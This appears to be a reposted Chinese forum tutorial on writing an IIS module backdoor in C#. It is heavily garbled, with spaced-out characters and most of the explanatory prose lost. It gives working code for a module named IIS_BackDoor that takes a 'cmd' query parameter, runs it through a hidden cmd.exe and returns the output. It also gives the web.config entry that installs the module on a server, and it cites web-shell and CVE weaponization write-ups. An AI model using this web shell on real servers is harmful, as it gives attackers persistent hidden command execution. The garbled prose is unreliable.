[1174] 2021-03-28_使用C#开发IIS模块后门

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-16
2021-03-28_使用C#开发IIS模块后门 使 C # I I S   Y 4 e r   C h a B u g   2 0 2 1 - 0 3 - 2 8 i i s [ 1 ] i i s I I S I I S I I S . N E T A S P . N E T 使 A P I A S P . N E T I I S A S P . N E T 使 A P I h t t p I I S u r l I I S I I S I I S C o o k i e c m d 1 . v s 2 0 1 9 2 . . n e t   2 . 0 使 . n e t 2 . 0 . n e t 3 . 5 / . n e t 4 C #   . N E T   F r a m e w o r k I I S   m o d u l e I I S   h a n d l e r S y s t e m . W e b . I H t t p M o d u l e S y s t e m . W e b S y s t e m . W e b . I H t t p H a n d l e r S y s t e m . W e b . I H t t p A s y n c H a n d l e r S y s t e m . W e b
i m a g e . p n g . n e t 2 . 0 i m a g e . p n g S y s t e m . W e b . d l l
i m a g e . p n g I H t t p M o d u l e 1 . I n i t   2 . D i s p o s e   I n i t ( ) H t t p A p p l i c a t i o n H t t p A p p l i c a t i o n P r e R e q u e s t H a n d l e r E x e c u t e u s i n g   S y s t e m ; u s i n g   S y s t e m . C o l l e c t i o n s . G e n e r i c ; u s i n g   S y s t e m . T e x t ; u s i n g   S y s t e m . W e b ; n a m e s p a c e   I I S _ B a c k D o o r {         p u b l i c   c l a s s   M y M o d u l e   :   I H t t p M o d u l e         {                 p u b l i c   v o i d   D i s p o s e ( )                 {                         t h r o w   n e w   N o t I m p l e m e n t e d E x c e p t i o n ( ) ;                 }                 p u b l i c   v o i d   I n i t ( H t t p A p p l i c a t i o n   c o n t e x t )                 {                         t h r o w   n e w   N o t I m p l e m e n t e d E x c e p t i o n ( ) ;                 }         } }
H t t p A p p l i c a t i o n i m a g e . p n g P r e R e q u e s t H a n d l e r E x e c u t e E v e n t H a n d l e r E v e n t H a n d l e r p u b l i c   e v e n t   E v e n t H a n d l e r   P r e R e q u e s t H a n d l e r E x e c u t e ; p u b l i c   d e l e g a t e   v o i d   E v e n t H a n d l e r ( o b j e c t   s e n d e r ,   E v e n t A r g s   e ) ; u s i n g   S y s t e m ; u s i n g   S y s t e m . C o l l e c t i o n s . G e n e r i c ; u s i n g   S y s t e m . T e x t ; u s i n g   S y s t e m . W e b ; n a m e s p a c e   I I S _ B a c k D o o r {         p u b l i c   c l a s s   M y M o d u l e   :   I H t t p M o d u l e         {
n e w   E v e n t H a n d l e r ( ) E v e n t H a n d l e r v o i d s e n d e r H t t p A p p l i c a t i o n r e q u e s t r e s p o n s e r e s p o n s e         {                 p u b l i c   v o i d   D i s p o s e ( )                 {                 }                 p u b l i c   v o i d   I n i t ( H t t p A p p l i c a t i o n   c o n t e x t )                 {                         c o n t e x t . P r e R e q u e s t H a n d l e r E x e c u t e   + =   n e w   E v e n t H a n d l e r ( C o n t e x t _ P r e R e q u e s t H a n d l e r E x e c u t e ) ;                 }                 p r i v a t e   v o i d   C o n t e x t _ P r e R e q u e s t H a n d l e r E x e c u t e ( o b j e c t   s e n d e r ,   E v e n t A r g s   e )                 {                         / /   d o   s o m t h i n g                 }         } } o b j e c t   s e n d e r ,   E v e n t A r g s   e C o n t e x t _ P r e R e q u e s t H a n d l e r E x e c u t e p r i v a t e   v o i d   C o n t e x t _ P r e R e q u e s t H a n d l e r E x e c u t e ( o b j e c t   s e n d e r ,   E v e n t A r g s   e ) {         H t t p A p p l i c a t i o n   a p p   =   ( H t t p A p p l i c a t i o n ) s e n d e r ;         H t t p R e q u e s t   r e q u e s t   =   a p p . C o n t e x t . R e q u e s t ;         H t t p R e s p o n s e   r e s p o n s e   =   a p p . C o n t e x t . R e s p o n s e ; } u s i n g   S y s t e m ; u s i n g   S y s t e m . C o l l e c t i o n s . G e n e r i c ; u s i n g   S y s t e m . D i a g n o s t i c s ; u s i n g   S y s t e m . T e x t ; u s i n g   S y s t e m . W e b ; n a m e s p a c e   I I S _ B a c k D o o r {         p u b l i c   c l a s s   M y M o d u l e   :   I H t t p M o d u l e         {                 p u b l i c   v o i d   D i s p o s e ( )                 {
c m d r e s p d l l d l l [ 2 ] 使                 {                 }                 p u b l i c   v o i d   I n i t ( H t t p A p p l i c a t i o n   c o n t e x t )                 {                         c o n t e x t . P r e R e q u e s t H a n d l e r E x e c u t e   + =   n e w   E v e n t H a n d l e r ( C o n t e x t _ P r e R e q u e s t H a n d l e r E x e c u t e ) ;                 }                 p r i v a t e   v o i d   C o n t e x t _ P r e R e q u e s t H a n d l e r E x e c u t e ( o b j e c t   s e n d e r ,   E v e n t A r g s   e )                 {                         H t t p A p p l i c a t i o n   a p p   =   ( H t t p A p p l i c a t i o n ) s e n d e r ;                         H t t p R e q u e s t   r e q u e s t   =   a p p . C o n t e x t . R e q u e s t ;                         H t t p R e s p o n s e   r e s p o n s e   =   a p p . C o n t e x t . R e s p o n s e ;                         t r y                         {                                 s t r i n g   c m d   =   r e q u e s t . Q u e r y S t r i n g . G e t ( " c m d " ) ;                                 P r o c e s s   p r o c   =   n e w   P r o c e s s ( ) ;                                 p r o c . S t a r t I n f o . C r e a t e N o W i n d o w   =   t r u e ;                                 p r o c . S t a r t I n f o . F i l e N a m e   =   " c m d . e x e " ;                                 p r o c . S t a r t I n f o . U s e S h e l l E x e c u t e   =   f a l s e ;                                 p r o c . S t a r t I n f o . R e d i r e c t S t a n d a r d E r r o r   =   t r u e ;                                 p r o c . S t a r t I n f o . R e d i r e c t S t a n d a r d I n p u t   =   t r u e ;                                 p r o c . S t a r t I n f o . R e d i r e c t S t a n d a r d O u t p u t   =   t r u e ;                                 p r o c . S t a r t ( ) ;                                 p r o c . S t a n d a r d I n p u t . W r i t e L i n e ( c m d ) ;                                 p r o c . S t a n d a r d I n p u t . W r i t e L i n e ( " e x i t " ) ;                                 s t r i n g   o u t S t r   =   p r o c . S t a n d a r d O u t p u t . R e a d T o E n d ( ) ;                                 p r o c . C l o s e ( ) ;                                 r e s p o n s e . C l e a r ( ) ;                                 r e s p o n s e . B u f f e r O u t p u t   =   t r u e ;                                 r e s p o n s e . W r i t e ( o u t S t r ) ;                                 r e s p o n s e . E n d ( ) ;                         }                         c a t c h   ( E x c e p t i o n   e r r )                         {                                 r e s p o n s e . W r i t e ( e r r . M e s s a g e ) ;                         }                 }         } }
i m a g e . p n g i m a g e . p n g r d p 使 w e b . c o n f i g w e b . c o n f i g < c o n f i g u r a t i o n >
b i n w e b . c o n f i g - > i m a g e . p n g i i s w e b . c o n f i g   I I S 7 [ 3 ] 1 . c s g g 2 . n e t 2 . 0 a p i 3 . v s 2 0 1 9   a n y c p u d l l i i s     < s y s t e m . w e b S e r v e r >         < m o d u l e s >             < a d d   n a m e = " I I S _ B a c k D o o r "   t y p e = " I I S _ B a c k D o o r . M y M o d u l e " / >         < / m o d u l e s >     < / s y s t e m . w e b S e r v e r > < c o n f i g u r a t i o n > s y s t e m . w e b S e r v e r m o d u l e s < h t t p M o d u l e s > < / h t t p M o d u l e s > < m o d u l e s > < / m o d u l e s >
i i s r u n c m d s h e l l H t t p L i s t e n e r s h e l l c o d e p o w e r s h e l l 1 . h t t p s : / / g i t h u b . c o m / p w n t e s t e r / y s o s e r i a l . n e t / b l o b / m a s t e r / E x p l o i t C l a s s / G h o s t W e b S h e l l . c s 2 . 使 . N E T   F r a m e w o r k I I S   7 . 0 [ 4 ] 3 . h t t p s : / / c l o u d . t e n c e n t . c o m / d e v e l o p e r / a r t i c l e / 1 5 0 7 9 1 3 4 . I I S 7 [ 5 ] 5 . C V E - 2 0 2 0 - 1 7 1 4 4 [ 6 ] R e f e r e n c e s   :   h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / i i s / d e v e l o p / r u n t i m e - e x t e n s i b i l i t y / d e v e l o p i n g - i i s - m o d u l e s - a n d - h a n d l e r s - w i t h - t h e - n e t - f r a m e w o r k # t w o - w a y s - t o - e x t e n d - i i s - m o d u l e - v s - h a n d l e r   :   h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / i i s / d e v e l o p / r u n t i m e - e x t e n s i b i l i t y / d e v e l o p i n g - i i s - m o d u l e s - a n d - h a n d l e r s - w i t h - t h e - n e t - f r a m e w o r k # d e p l o y i n g - t h e - a s s e m b l y - t o - t h e - s e r v e r   I I S 7 :   h t t p s : / / m y . o s c h i n a . n e t / u / 3 7 9 7 4 1 6 / b l o g / 3 1 5 9 7 3 2   使 . N E T   F r a m e w o r k I I S   7 . 0 :   h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / i i s / d e v e l o p / r u n t i m e - e x t e n s i b i l i t y / d e v e l o p i n g - i i s - m o d u l e s - a n d - h a n d l e r s - w i t h - t h e - n e t - f r a m e w o r k   I I S 7 :   h t t p s : / / m y . o s c h i n a . n e t / u / 3 7 9 7 4 1 6 / b l o g / 3 1 5 9 7 3 2   C V E - 2 0 2 0 - 1 7 1 4 4 :   h t t p s : / / w w w . z c g o n v h . c o m / p o s t / a n a l y s i s _ o f _ C V E - 2 0 2 0 - 1 7 1 4 4 _ a n d _ t o _ w e a p o n i z i n g . h t m l

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则